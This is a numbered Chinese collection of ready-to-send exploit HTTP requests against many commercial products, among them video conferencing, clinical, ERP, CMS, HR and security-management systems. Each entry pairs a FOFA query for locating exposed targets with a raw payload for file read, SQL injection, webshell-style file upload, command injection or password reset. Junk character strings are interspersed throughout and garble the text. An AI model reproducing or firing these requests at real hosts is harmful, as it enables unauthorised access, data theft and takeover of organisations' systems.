- P% r+ u5 m) ~6 J188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, z% ~, F: [  t) m- ?: e3 L1 _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
& @7 i8 b/ l- k+ v( j; v$ m- U
! O, H& F+ t1 B( K. ]; Q3 z
2 ?) C/ z5 Y4 B( S189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
( V" X1 ]4 |; Z5 s! p' u' PGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
! h4 t$ P) @* j5 a1 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

. s1 \4 P+ Z0 A( }
% N! U: p3 r$ w' u, a, B8 O190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
6 q( k/ x! b( o9 u8 N3 iPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
) r. v4 t: C5 b7 [$ U; B* NHost: your-ip
! j0 H7 x  r  L6 \6 \" JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
6 T3 i$ s8 H5 a% L, @- `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
3 u3 `! C4 P' S( r; wContent-Type: application/x-www-form-urlencoded
) y8 r0 m. P6 U  Q/ l9 P3 e* fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd
" ]) r- k1 _/ T5 R! q6 P* |8 n
/ t3 R8 {. l3 m7 {$ X
( o2 F# K5 [4 N1 P/ V/ ^191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
% ]& f) v" @# M$ T8 tFOFA：body="/CDGServer3/index.jsp"
8 {- @" X' F. @2 _POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

$ ~+ E4 L8 H6 d* qcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
  P8 T8 T5 E( M4 M5 f
# K8 A+ O) `) t- @' |, q$ }; T
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
8 ~8 I/ i; _1 X6 c
, ?* {( T0 t3 A$ r' g0 R) G
  s  K7 c* A0 E. o; G5 m" j0 T<% @ webhandler language="C#" class="AverageHandler" %>
: r8 _( B; p& b  x4 e6 u* qusing System;
! r4 m7 d1 v0 ^& s7 x2 N/ X0 C2 Q/ Z8 Vusing System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
2 e* H7 f2 ~5 `0 f5 D7 h{ get { return true; } }
; Z/ `' A; w' |0 z- d, P  w: e0 `2 \public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
3 m/ |) E* e& A+ T: x: v}
}
- h3 u$ g  D$ e4 k5 S' f! Z5 ~7 O

, p8 B# q! x; w7 ]0 ]193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
* b9 K1 x, L6 g+ \+ d& s( Q: UFOFA：body="山石云鉴主机安全管理系统"
" A1 ^5 K: a# S+ \5 LGET /master/ajaxActions/getTokenAction.php HTTP/1.1
* a. G" c+ f1 C* dHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
/ |+ b, B! c1 b- h: rUser-Agent: Mozilla/5.0
' t8 e9 S+ y& `/ j

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
6 b: s* ~+ b5 H9 aHost:
User-Agent: Mozilla/5.0
8 z. V8 Z$ a6 Y- x$ IAccept-Encoding: gzip, deflate
) |& z( V% v3 B- fAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

3 B" y% O0 t4 S# ~3 ^1 dparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

& ]. p6 J4 N( ^: V& P6 Z& r+ k
- T4 I! t: ^/ |3 `GET /master/img/config HTTP/1.1
! o) u3 o" Y% N1 m0 {Host:
User-Agent: Mozilla/5.0

/ d# p# R5 U  h" L: J) v
/ U: R" ~2 N, e+ z" G6 T194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
2 B8 `# J& @3 B0 f4 f, j7 b* fFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
6 e% `' `% N- L  yContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
) v5 e4 V& B. M' ^+ b8 o1 ~
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
0 z& G" t* r' i' { {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
( c! r/ s# N8 v# c* J* z" YHost: 127.0.0.1
Pragma: no-cache
$ c' P4 ~0 Y) O% Q3 Z- YCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' C* K9 G' Q3 y! R* x$ tAccept: */*
, S  b$ K3 N( q+ YAccept-Encoding: gzip, deflate
6 j; n& g, F# h3 X# FAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
& j$ ?4 N5 K  y0 _3 c! L+ H; u0 nContent-Length: 68

! Z: E. \$ x7 S! N; h{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


4 p3 Y+ P" E& W* q; z" x+ m+ o196. 河南省风速科技统一认证平台密码重置
" G' Y' Y0 W2 x+ ?" VFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
% [7 m" f) w* G0 k3 YContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
0 l* ~7 }. P( V+ i6 n3 ]Host:
! {- P$ J9 I: X4 t  C* p/ vAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
( {- C# [: Q& O. A9 eContent-Length: 45
Connection: close

$ l- _! S6 y& e1 Z{"xgh":"test","newPass":"test666","email":""}

7 E0 q9 Z0 N7 i3 R
% ^! v: P3 i: P! W* K
+ E9 }, W, h8 F3 ]: @197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
8 c( B, `6 t. `. rHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
* c" p$ U' ~" i7 V6 N* HAccept-Encoding: gzip, deflate
" `) p8 R9 @% mConnection: close

9 b' T3 y! c6 _5 U3 F' b
& n6 D" f; e$ y* Z
9 \2 D4 h1 R  j) E1 {4 L" |198.  阿里云盘 WebDAV 命令注入
8 {6 A1 r, [6 y8 ]+ r) ?6 x7 RCVE-2024-29640
3 n! U1 n  S, {8 pGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
, x% X( V2 w0 D; t+ J. M6 DAccept: */*
3 m1 a4 |3 `/ K5 T* a: y0 KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

/ b9 c3 T1 h0 P4 M: ~
199. cockpit系统assetsmanager_upload接口 文件上传
( [8 w# k4 \  f& {2 g6 ^
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
5 i! k3 L/ z. f/ @# W
4 R1 l6 \/ E' M: J1 d响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
  `) c3 W* ]: F, r* {0 x6 K0 H# H9 d
/ t; R+ D$ Q( \( U( a2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
  e: Z9 n2 ]3 r
6 \- a3 U- Y  {; z$ t- {响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
1 ^* \7 G$ M) u) _2 ~8 j% P; hFofa：title="Authenticate Please!"
6 Z4 f7 \$ w+ L  E' G2 hPOST /assetsmanager/upload HTTP/1.1
6 O7 P) F/ r% X) gContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
& g: r2 }5 `7 S
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
$ L' Q1 K  }, B- Q* [( eContent-Type: text/php
5 y0 [! }& ]( v/ V
$ [$ p" i$ u. h& `6 ]8 [6 F% D& @# u<?php echo "tttt";unlink(__FILE__);?>
/ [9 h: }/ G4 y( y7 Q-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

" {; Y0 b9 _7 z+ B-----------------------------36D28FBc36bd6feE7Fb3--
; E6 ^4 x0 Q0 N8 @4 @: h
# c3 M/ v; ?0 n* Y! R
2 t2 H7 o% @% P  C! ]/storage/uploads/tttt.php

% C. x) r  w. A% J2 o2 @9 g9 t. @) ]200. SeaCMS海洋影视管理系统dmku SQL注入
# f& F; v$ ], U( |% ?1 PFOFA：app="海洋CMS"
3 V$ t, ?3 l! D, R8 IGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
0 Z  p" H! M3 |  KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. Z8 u/ K$ r# V/ L) ]- w- q1 zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% c) O3 ]9 I7 t9 k) I+ V

201. 方正全媒体新闻采编系统 binary SQL注入
% O3 \* w6 y8 z7 f, \FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
3 X( N. ~/ P% yPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ K( \) ~, {7 o( F1 Q4 ~: pAccept-Language: zh-CN,zh;q=0.9
( m' ]  F9 N7 F8 }: c3 `Connection: close

5 x" ^+ j. H% t: Z/ q3 Y9 ~& [TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
2 P4 P" O/ c& r6 L

202. 微擎系统 AccountEdit任意文件上传
- f+ `; B, G- {9 C9 v' G, LFOFA：body="/Widgets/WidgetCollection/"
! w: D  D$ \9 g3 `0 O5 P! U7 H获取__VIEWSTATE和__EVENTVALIDATION值
  s! {3 d+ k" q0 Z8 s) y3 C6 D4 O9 ^GET /User/AccountEdit.aspx HTTP/1.1
) `# u# ?7 U/ \& w: j' THost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
1 G. w" G% _! L5 YContent-Length: 0


) W% \* _; g5 k4 t9 @$ ]& K8 _替换__VIEWSTATE和__EVENTVALIDATION值
6 }5 m2 F, d. U4 g5 QPOST /User/AccountEdit.aspx HTTP/1.1
; u! p$ d" I6 D3 m: j# W9 D, gAccept-Encoding: gzip, deflate, br
( d1 f) j0 `& S. _6 w0 b9 ^* x9 fContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
. A: P- U9 c" x2 D
& o2 m' d; W! {. G/ U, L-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
& J( B0 k" d6 A6 HContent-Disposition: form-data; name="__EVENTVALIDATION"
; E4 x" |3 k. w5 O- l" K8 k
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

: L# K9 C" t# A+ ]' p6 X7 yHello World!
4 B0 v4 z2 r5 q  y-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
4 c+ \( Q" I8 }2 O2 a
- s. T1 ~: p' P/ i0 l# Z上传图片
4 S' [! I: Q* R* n-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

/ Z) k8 X2 ~$ o  |
7 R8 \: k4 ]3 B3 Y) T$ i-----------------------------786435874t38587593865736587346567358735687
, P" M9 i# R' I9 q9 p' FContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--
) X$ i9 h+ V9 H# Y, P

/ e0 G# ], w) L, A0 j/_data/Uploads/1123.txt
! M% y6 j% l1 O. ~
203. 红海云EHR PtFjk 文件上传
* R; C; j4 F3 M" u0 p8 w% I4 E4 EFOFA：body="RedseaPlatform"
- [" J8 ~  V/ j- x4 k. [/ V8 k% `POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
9 r7 i& k8 M/ ?1 ?, C# P( E% M; `Accept-Encoding: gzip
9 |% Q4 J7 h+ l, }+ d+ lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) y; @3 l5 g  [5 s9 s1 HContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
3 p% m4 b/ e3 H& hContent-Length: 210
$ J+ _) O3 P7 F3 O
: I  _; r9 H: d: T7 o------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
" {% ?5 ?1 d4 a
  D3 @5 U1 M" o0 ?0 J3 P# z<% out.print("hello,eHR");%>
2 \/ N0 N# d  x------WebKitFormBoundaryt7WbDl1tXogoZys4--

$ E5 G) d8 L1 ?: H
5 u; ]5 n" S# C: L  ^
& W+ v6 ]' {5 M+ P# x5 E' D# Y


1 b# u- D9 t3 L4 {$ l, M